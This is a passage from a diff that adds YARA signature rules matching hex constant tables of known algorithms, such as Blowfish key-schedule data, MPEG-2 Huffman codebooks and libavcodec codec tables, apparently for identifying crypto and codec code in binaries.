+	$a0 = { ffffffffffffffffffe0f0fffff1ffffffffffffffffffffffffffffffffffffe0ffffffffffffffffffff3efff2ff3f3435363738393a3b3c3dffffff00ffffff000102030405060708090a0b0c0d0e0f10111213141516171819ffffffffffff1a1b1c1d1e1f202122232425262728292a2b2c2d2e2f30313233ffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_booksc1__32_big_1452_
+{
+strings:
+	$a0 = { 00000000000000120003ffe800000001000000120003ffe600000002000000120003ffe700000003000000120003ffe500000004000000130007fff500000005000000130007fff100000006000000130007ffed00000007000000130007fff600000008000000130007ffee00000009000000130007ffef0000000a000000130007fff00000000b000000130007fffc0000000c000000130007fffd0000000d000000130007ffff0000000e000000130007fffe0000000f000000130007fff700000010000000130007fff800000011000000130007fffb00000012000000130007fff900000013000000120003ffe400000014000000130007fffa00000015000000120003ffe300000016000000110001ffef00000017000000110001fff000000018000000100000fff500000019000000110001ffee0000001a000000100000fff20000001b000000100000fff30000001c000000100000fff40000001d000000100000fff10000001e0000000f00007ff60000001f0000000f00007ff7000000200000000e00003ff9000000210000000e00003ff5000000220000000e00003ff7000000230000000e00003ff3000000240000000e00003ff6000000250000000e00003ff2000000260000000d00001ff7000000270000000d00001ff5000000280000000c00000ff9000000290000000c00000ff70000002a0000000c00000ff60000002b0000000b000007f90000002c0000000c00000ff40000002d0000000b000007f80000002e0000000a000003f90000002f0000000a000003f7000000300000000a000003f50000003100000009000001f80000003200000009000001f70000003300000008000000fa0000003400000008000000f80000003500000008000000f600000036000000070000007900000037000000060000003a00000038000000060000003800000039000000050000001a0000003a000000040000000b0000003b00000003000000040000003c00000001000000000000003d000000040000000a0000003e000000040000000c0000003f000000050000001b00000040000000060000003900000041000000060000003b00000042000000070000007800000043000000070000007a0000004400000008000000f70000004500000008000000f90000004600000009000001f60000004700000009000001f9000000480000000a000003f4000000490000000a000003f60000004a0000000a000003f80000004b0000000b000007f50000004c0000000b000007f40000004d0000000b000007f60000004e0000000b000007f70000004f0000000c00000ff5000000500000000c00000ff8000000510000000d00001ff4000000520000000d00001ff6000000530000000d00001ff8000000540000000e00003ff8000000550000000e00003ff400000056000000100000fff0000000570000000f00007ff400000058000000100000fff6000000590000000f00007ff50000005a000000120003ffe20000005b000000130007ffd90000005c000000130007ffda0000005d000000130007ffdb0000005e000000130007ffdc0000005f000000130007ffdd00000060000000130007ffde00000061000000130007ffd800000062000000130007ffd200000063000000130007ffd300000064000000130007ffd400000065000000130007ffd500000066000000130007ffd600000067000000130007fff200000068000000130007ffdf00000069000000130007ffe70000006a000000130007ffe80000006b000000130007ffe90000006c000000130007ffea0000006d000000130007ffeb0000006e000000130007ffe60000006f000000130007ffe000000070000000130007ffe100000071000000130007ffe200000072000000130007ffe300000073000000130007ffe400000074000000130007ffe500000075000000130007ffd700000076000000130007ffec00000077000000130007fff400000078000000130007fff3 }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_f_decoder__flt32___32_big_40_
+{
+strings:
+	$a0 = { 00000000000000003f700000000000003fe60000bf5000003fc40000bf5c00003ff40000bf700000 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks1_table__32_lil_1024_
+{
+strings:
+	$a0 = { e9707a4b4429b3b52e0975db232619c4b0a66ead7ddfa749b860ee9c66b2ed8f718caaecff179a696c526456e19eb1c2a5023619294c0975401359a03e3a18e49a98543f659d425bd6e48f6bd63ff799079cd2a1f530e8efe6382d4dc15d25f08620dd4c26eb7084c6e982635ecc1e023f6b6809c9efba3e1418973ca1706a6b84357f6886e2a05205539cb7370750aa1c84073e5caede7fec447d8eb8f2165737da3ab00d0c50f0041f1cf0ffb300021af50caeb274b53c587a8325bd2109dcf91391d1f62fa97c734732940147f52281e5e53adcdac2373476b5c8a7ddf39a466144a90e03d00f3ec7c8ec411e75a499cd38e22f0eea3ba1bb803231b33e18388b544e08b96d4f030d426fbf040af69012b82c797c972472b07956af89afbc1f779ade100893d912ae8bb32e3fcfdc1f72125524716b2ee6dd1a5087cd849f1847587a17da0874bc9a9fbc8c7d4be93aec7aecfa1d85db66430963d2c364c447181cef08d91532373b43dd16bac224434da11251c4652a02009450dde43a139ef8df71554e3110d677ac819b19115ff15635046bc7a3d73b18113c09a52459ede68ff2fafbf1972cbfba9e6e3c151e7045e386b16fe9ea0a5e0e86b32a3e5a1ce71f77fa063d4eb9dc65290f1de799d6893e8025c8665278c94c2e6ab3109cba0e15c678eae294533cfca5f42d0a1ea74ef7f23d2b1d360f2639196079c21908a72352b61213f76efeadeb661fc3ea9545bce383c87ba6d1377fb128ff8c01efdd32c3a55a6cbe852158650298ab680fa5ceee3b952fdbad7def2a842f6e5b28b62115706107297547ddec10159f6130a8cc1396bd61eb1efe3403cf6303aa905c73b539a2704c0b9e9ed514deaacbbc86cceea72c6260ab5cab9c6e84f3b2af1e8b64caf0bd19b96923a050bb5a65325a6840b3b42a3cd5e99e31f7b821c0190b549b99a05f877e99f795a87d3d629a8837f8772de3975f93ed11811268162988350ed61fe6c7a1dfde9699ba5878a584f5576372221bffc3839b9646c21aeb0ab3cd54302e53e448d98f2831bc6deff2eb58eaffc63461ed28fe733c7ceed9144a5de3b764e8145d1042e0133e20b6e2ee45eaabaaa3154f6cdbd04fcbfa42f442c7b5bb6aef1d3b4f650521cd419e791ed8c74d85866a474be45062813df2a162cf46268d5ba08388fca3b6c7c1c324157f9274cb690b8a844785b2925600bf5b099d4819ad74b16214000e82232a8d4258eaf5550c3ef4ad1d61703f2392f07233417e938df1ec5fd6db3b226c5937de7c6074eecba7f285406e3277ce848007a69e50f81955d8efe83597d961aaa769a9c2060cc5fcab045adcca0b802e7a449e843445c30567d5fdc99e1e0ed3db73dbcd88551079da5f67404367e36534c4c5d8383e719ef8283d20ff6df1e7213e154a3db08f2b9fe3e6f7ad83db }
+
+condition:
+	$a0
+}
+
+	
+rule way__32_big_AND_
+{
+strings:
+	$a0 = { 00000b0b[0-20]0000b1b1[0-20]aaaaaaaa[0-20]55555555[0-20]cccccccc[0-20]33333333[0-20]f0f0f0f0[0-20]0f0f0f0f[0-20]00011011 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_480__16_big_74_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c003000340038003c0040004800500058006000680070007c0088009400a400b400c800e00100012001400160018001a001c001e0 }
+
+condition:
+	$a0
+}
+
+	
+rule Iraqi_block_cipher_permut__8_byt_256_
+{
+strings:
+	$a0 = { 050a010300040f0207090d080b0e0c0605070f0d0308010b0a00090c02060e0404060c0e01000d0507090a0b020f08030304020c0d090108050f0e060a000b0709080305040600020d0f0e010c0b070a0e0d030b0002010a070904050f060c080804000507030c0b0d0906010f0a020e0b0e0d01090804050c0607030a000f020d0c020106090e0b030a080f04050700010e0c0708000b09060504020a030f0d06000a0805020b0d0e010409030c0f070c00050d02040806030f090a0e07010b070a080b0902000305040c0f0e01060d08040f070a09030c060e000201050d0b0b0d0e03050c070602000a08010f04090106030807040b0e000a09020f0c050d }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_short_tns_max_bands_128__avcodec___8_byt_13_
+{
+strings:
+	$a0 = { 09090a0e0e0e0e0e0e0e0e0e0e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg4_inter_rvlc__16_big_680_
+{
+strings:
+	$a0 = { 000600030001000400040005001c0007003c0008003d0008007c000900fc000a00fd000a01fc000b01fd000b03fc000c07fc000d07fd000d0bfc000d0bfd000d0ffc000e0ffd000e1ffc000f00070003000c0006005c0008007d0009017c000a02fc000b03fd000c0dfc000d17fc000e17fd000e000a0004001d000700bc000902fd000b05fc000c1bfc000e1bfd000e00050005005d0008017d000a05fd000c0dfd000d1dfc000e1ffd000f00080005006c0008037c000b0efc000d2ffc000f0009000500bd0009037d000b0efd000d000d000601bc000a06fc000c1dfd000e0014000601bd000a06fd000c2ffd000f0015000601dc000a0f7c000d002c000701dd000a1efc000e002d000703bc000b00340007077c000c006d00080f7d000d007400081efd000e007500081f7c000e00dc00091f7d000e00dd00091fbc000e00ec000937fc000f01ec000a01ed000a01f4000a03bd000b03dc000b03dd000b03ec000b03ed000b03f4000b077d000c07bc000c07bd000c0fbc000d0fbd000d0fdc000d0fdd000d1fbd000e1fdc000e1fdd000e37fd000f3bfc000f000b00040078000803f5000b0fec000d1fec000e0012000500ed000907dc000c1fed000e3bfd000f0013000503f8000b3dfc000f0018000607dd000c0019000607ec000c002200060fed000d002300060ff4000d003500070ff5000d003800070ff8000d003900070ff9000d004200071ff4000e004300071ff5000e007900081ff8000e008200083dfd000f0083000800f4000900f5000900f8000900f90009010200090103000901f5000a01f8000a01f9000a0202000a0203000a03f9000b0402000b0403000b07ed000c07f4000c07f5000c07f8000c07f9000c0802000c0803000c1002000d1003000d1ff9000e2002000e2003000e3efc000f3efd000f3f7c000f3f7d000f00000004 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correctionhighorder__32_lil_8188_
+{
+strings:
+	$a0 = { efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc00010000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc0001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f80000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a03030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f04040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded121205050000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded1212050500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb141405050000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb1414050500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde0000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f90000000009090909f7f6f6f6fdfc0b0c0